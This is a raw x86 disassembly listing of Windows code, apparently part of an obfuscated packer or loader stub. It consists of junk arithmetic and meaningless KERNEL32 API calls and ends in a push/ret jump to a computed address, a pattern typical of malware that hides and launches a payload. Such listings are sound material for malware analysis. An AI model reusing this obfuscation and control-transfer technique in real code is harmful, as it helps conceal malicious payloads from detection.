mov dword [str.G6E____4_], ecx
mov edx, dword [0x40d024]
sub edx, 0x57
mov dword [0x40d024], edx
mov eax, dword [0x40d030]
sub eax, dword [0x40d02c]
mov dword [0x40d030], eax
mov ecx, dword [0x40d02c]
mov dword [ebp - 0x1c8], ecx
cmp dword [ebp - 0x1c8], 1
je 0x402567
cmp dword [ebp - 0x1c8], 2
je 0x40261f
cmp dword [ebp - 0x1c8], 3
je 0x4025c2
jmp 0x402679
mov edx, dword [0x40d038]
add edx, 0x29
mov dword [0x40d038], edx
mov eax, dword [str.G6E____4_]
sub eax, dword [str.G6E____4_]
mov dword [str.G6E____4_], eax
push 0xd
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ecx, dword [0x40d020]
sub ecx, eax
mov dword [0x40d020], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, dword [str.G6E____4_]
sub edx, eax
mov dword [str.G6E____4_], edx
mov eax, dword [0x40d024]
sub eax, 0x26
mov dword [0x40d024], eax
jmp 0x4026d1
mov ecx, dword [0x40d038]
add ecx, 0x29
mov dword [0x40d038], ecx
mov edx, dword [str.G6E____4_]
sub edx, dword [str.G6E____4_]
mov dword [str.G6E____4_], edx
push 0xd
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ecx, dword [0x40d020]
sub ecx, eax
mov dword [0x40d020], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, dword [str.G6E____4_]
sub edx, eax
mov dword [str.G6E____4_], edx
mov eax, dword [0x40d024]
sub eax, 0x26
mov dword [0x40d024], eax
jmp 0x4026d1
mov ecx, dword [0x40d038]
add ecx, 0x29
mov dword [0x40d038], ecx
mov edx, dword [str.G6E____4_]
sub edx, dword [str.G6E____4_]
mov dword [str.G6E____4_], edx
push 0xd
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ecx, dword [0x40d020]
sub ecx, eax
mov dword [0x40d020], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, dword [str.G6E____4_]
sub edx, eax
mov dword [str.G6E____4_], edx
mov eax, dword [0x40d024]
sub eax, 0x26
mov dword [0x40d024], eax
jmp 0x4026d1
mov ecx, dword [0x40d020]
push ecx
mov edx, dword [0x40d024]
push edx
mov eax, dword [0x40d02c]
push eax
mov ecx, dword [0x40d020]
push ecx
mov edx, dword [str.G6E____4_]
push edx
call fcn.00401050
add esp, 0x14
add eax, dword [0x40d024]
mov dword [0x40d024], eax
mov eax, dword [0x40d020]
sub eax, dword [str.G6E____4_]
mov dword [0x40d020], eax
push 0x5c
call dword [sym.imp.KERNEL32.dll_LockResource]
add eax, dword [0x40d03c]
mov dword [0x40d03c], eax
mov ecx, dword [0x40d01c]
cmp ecx, dword [ebp - 0x198]
jge 0x40273f
mov edx, dword [0x40d020]
sub edx, dword [0x40d038]
mov dword [0x40d020], edx
mov eax, dword [ebp - 8]
cmp eax, dword [0x40d018]
jle 0x40270e
mov ecx, dword [0x40d030]
sub ecx, dword [0x40d038]
mov dword [0x40d030], ecx
mov edx, dword [0x40d02c]
push edx
mov eax, dword [0x40d024]
push eax
mov ecx, dword [0x40d03c]
push ecx
mov edx, dword [0x40d024]
push edx
call fcn.00401000
add esp, 0x10
mov ecx, dword [0x40d03c]
sub ecx, eax
mov dword [0x40d03c], ecx
mov edx, dword [0x40d03c]
sub edx, 0x2f
mov dword [0x40d03c], edx
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [0x40d034]
add ecx, dword [0x40d024]
mov dword [0x40d034], ecx
mov edx, dword [str.G6E____4_]
sub edx, dword [0x40d024]
mov dword [str.G6E____4_], edx
mov eax, dword [0x40d038]
sub eax, dword [0x40d030]
mov dword [0x40d038], eax
mov ecx, dword [0x40d034]
sub ecx, 0x38
mov dword [0x40d034], ecx
mov edx, dword [0x40d02c]
mov dword [ebp - 0x1cc], edx
mov eax, dword [ebp - 0x1cc]
sub eax, 1
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 5
ja case.default.0x4027c8
mov ecx, dword [ebp - 0x1cc]
jmp dword [ecx*4 + 0x402f80]
mov edx, dword [0x40d02c]
push edx
push 0x49
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
cmp eax, dword [0x40d034]
jae 0x4027f3
mov eax, dword [0x40d038]
add eax, 0x1b
mov dword [0x40d038], eax
jmp 0x4029d2
mov ecx, dword [0x40d02c]
push ecx
push 0x49
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
cmp eax, dword [0x40d034]
jae 0x40281e
mov edx, dword [0x40d038]
add edx, 0x1b
mov dword [0x40d038], edx
jmp 0x4029d2
mov eax, dword [0x40d02c]
push eax
push 0x49
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
cmp eax, dword [0x40d034]
jae 0x402848
mov ecx, dword [0x40d038]
add ecx, 0x1b
mov dword [0x40d038], ecx
push 0x45
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov edx, dword [0x40d024]
sub edx, eax
mov dword [0x40d024], edx
mov eax, dword [0x40d034]
sub eax, dword [0x40d03c]
mov dword [0x40d034], eax
mov ecx, dword [0x40d03c]
add ecx, 0x41
mov dword [0x40d03c], ecx
jmp 0x4029d2
mov edx, dword [0x40d02c]
push edx
push 0x49
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
cmp eax, dword [0x40d034]
jae 0x4028a6
mov eax, dword [0x40d038]
add eax, 0x1b
mov dword [0x40d038], eax
push 0x45
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov ecx, dword [0x40d024]
sub ecx, eax
mov dword [0x40d024], ecx
mov edx, dword [0x40d034]
sub edx, dword [0x40d03c]
mov dword [0x40d034], edx
mov eax, dword [0x40d03c]
add eax, 0x41
mov dword [0x40d03c], eax
jmp 0x4029d2
mov ecx, dword [0x40d02c]
push ecx
push 0x49
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
cmp eax, dword [0x40d034]
jae 0x402906
mov edx, dword [0x40d038]
add edx, 0x1b
mov dword [0x40d038], edx
push 0x45
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov ecx, dword [0x40d024]
sub ecx, eax
mov dword [0x40d024], ecx
mov edx, dword [0x40d034]
sub edx, dword [0x40d03c]
mov dword [0x40d034], edx
mov eax, dword [0x40d03c]
add eax, 0x41
mov dword [0x40d03c], eax
jmp 0x4029d2
mov ecx, dword [0x40d02c]
push ecx
push 0x49
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
cmp eax, dword [0x40d034]
jae 0x402966
mov edx, dword [0x40d038]
add edx, 0x1b
mov dword [0x40d038], edx
push 0x45
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov ecx, dword [0x40d024]
sub ecx, eax
mov dword [0x40d024], ecx
mov edx, dword [0x40d034]
sub edx, dword [0x40d03c]
mov dword [0x40d034], edx
mov eax, dword [0x40d03c]
add eax, 0x41
mov dword [0x40d03c], eax
jmp 0x4029d2
mov ecx, dword [0x40d02c]
push ecx
mov edx, dword [0x40d034]
push edx
mov eax, dword [0x40d034]
push eax
mov ecx, dword [0x40d034]
push ecx
mov edx, dword [0x40d024]
push edx
call fcn.00401050
add esp, 0x14
add eax, dword [0x40d030]
mov dword [0x40d030], eax
mov eax, dword [ebp - 0x1a8]
push eax
mov ecx, dword [ebp - 0x194]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0x5f
push 0x5f
mov eax, dword [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov ecx, dword [ebp - 0x194]
sub ecx, eax
mov dword [ebp - 0x194], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [0x425108]
jne 0x401e21
mov eax, dword [ebp - 0x19c]
sub eax, 0x52
mov dword [ebp - 0x19c], eax
mov ecx, dword [ebp - 8]
and ecx, 0x26
imul ecx, dword [0x40d04c]
mov dword [0x40d04c], ecx
mov edx, dword [0x40d024]
push edx
mov eax, dword [0x40d02c]
push eax
mov ecx, dword [0x40d030]
push ecx
mov edx, dword [0x40d024]
push edx
mov eax, dword [str.G6E____4_]
push eax
call fcn.00401050
add esp, 0x14
mov ecx, dword [0x40d02c]
sub ecx, eax
mov dword [0x40d02c], ecx
mov edx, dword [ebp - 0x198]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
mov ecx, dword [ebp - 8]
sub ecx, eax
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x194]
add edx, dword [ebp - 0x19c]
mov dword [ebp - 0x194], edx
mov eax, dword [ebp - 0x19c]
add eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x19c], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov edx, dword [0x40d030]
mov dword [ebp - 0x1d0], edx
cmp dword [ebp - 0x1d0], 1
je 0x402ad6
cmp dword [ebp - 0x1d0], 2
je 0x402af4
cmp dword [ebp - 0x1d0], 3
je 0x402b14
jmp 0x402b34
cmp dword [0x40d00c], 0x62
jl 0x402aef
mov eax, dword [0x40d034]
sub eax, dword [str.G6E____4_]
mov dword [0x40d034], eax
jmp 0x402bbb
cmp dword [0x40d00c], 0x62
jl 0x402b0f
mov ecx, dword [0x40d034]
sub ecx, dword [str.G6E____4_]
mov dword [0x40d034], ecx
jmp 0x402bbb
cmp dword [0x40d00c], 0x62
jl 0x402b2f
mov edx, dword [0x40d034]
sub edx, dword [str.G6E____4_]
mov dword [0x40d034], edx
jmp 0x402bbb
mov eax, dword [0x40d038]
add eax, dword [0x40d03c]
mov dword [0x40d038], eax
push 0x55
mov ecx, dword [0x40d03c]
push ecx
mov edx, dword [0x40d038]
push edx
push 0x64
push 0x3e
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
add eax, dword [0x40d024]
mov dword [0x40d024], eax
mov eax, dword [str.G6E____4_]
push eax
mov ecx, dword [0x40d030]
push ecx
mov edx, dword [0x40d024]
push edx
mov eax, dword [0x40d020]
push eax
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d034]
mov dword [0x40d034], eax
mov ecx, dword [0x40d024]
add ecx, 0x30
mov dword [0x40d024], ecx
push 0x4e
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov edx, dword [0x40d03c]
sub edx, eax
mov dword [0x40d03c], edx
cmp dword [0x40d00c], 0x58
jl 0x402c8f
mov eax, dword [0x40d020]
add eax, 0x3a
mov dword [0x40d020], eax
mov ecx, dword [0x40d030]
cmp ecx, dword [str.G6E____4_]
jle 0x402bf4
mov edx, dword [0x40d03c]
add edx, 0x10
mov dword [0x40d03c], edx
jmp 0x402c61
mov eax, dword [0x40d024]
push eax
mov ecx, dword [0x40d024]
push ecx
mov edx, dword [0x40d030]
push edx
mov eax, dword [0x40d038]
push eax
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d024]
mov dword [0x40d024], eax
mov ecx, dword [0x40d024]
sub ecx, 0x1f
mov dword [0x40d024], ecx
mov edx, dword [0x40d030]
push edx
mov eax, dword [str.G6E____4_]
push eax
mov ecx, dword [0x40d02c]
push ecx
mov edx, dword [str.G6E____4_]
push edx
call fcn.00401000
add esp, 0x10
mov ecx, dword [0x40d030]
sub ecx, eax
mov dword [0x40d030], ecx
mov edx, dword [0x40d034]
push edx
mov eax, dword [0x40d024]
push eax
push 0xf
mov ecx, dword [0x40d034]
push ecx
mov edx, dword [0x40d038]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
add eax, dword [str.G6E____4_]
mov dword [str.G6E____4_], eax
mov eax, dword [0x40d02c]
sub eax, 0x4e
mov dword [0x40d02c], eax
mov ecx, dword [0x40d030]
mov dword [ebp - 0x1d4], ecx
cmp dword [ebp - 0x1d4], 1
je 0x402cbc
cmp dword [ebp - 0x1d4], 2
je 0x402cef
jmp 0x402d1f
mov edx, dword [0x40d030]
cmp edx, dword [0x40d038]
jle 0x402cea
mov eax, dword [0x40d024]
push eax
push 0x5e
mov ecx, dword [0x40d03c]
push ecx
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
add eax, dword [0x40d020]
mov dword [0x40d020], eax
jmp 0x402d88
mov edx, dword [0x40d030]
cmp edx, dword [0x40d038]
jle 0x402d1d
mov eax, dword [0x40d024]
push eax
push 0x5e
mov ecx, dword [0x40d03c]
push ecx
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
add eax, dword [0x40d020]
mov dword [0x40d020], eax
jmp 0x402d88
mov edx, dword [0x40d030]
push edx
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
mov ecx, dword [0x40d038]
sub ecx, eax
mov dword [0x40d038], ecx
mov edx, dword [str.G6E____4_]
sub edx, 0x1d
mov dword [str.G6E____4_], edx
mov eax, dword [0x40d03c]
push eax
mov ecx, dword [0x40d03c]
push ecx
mov edx, dword [0x40d038]
push edx
mov eax, dword [0x40d03c]
push eax
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d020]
mov dword [0x40d020], eax
mov ecx, dword [0x40d020]
sub ecx, dword [0x40d038]
mov dword [0x40d020], ecx
mov edx, dword [str.G6E____4_]
add edx, dword [0x40d03c]
mov dword [str.G6E____4_], edx
push 0xd
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov ecx, dword [0x40d03c]
sub ecx, eax
mov dword [0x40d03c], ecx
mov edx, dword [0x40d058]
sub edx, dword [str.G6E____4_]
mov dword [0x40d058], edx
mov eax, dword [ebp - 0x194]
sub eax, dword [ebp - 0x198]
mov dword [ebp - 0x194], eax
lea eax, [0x302c940]
push eax
ret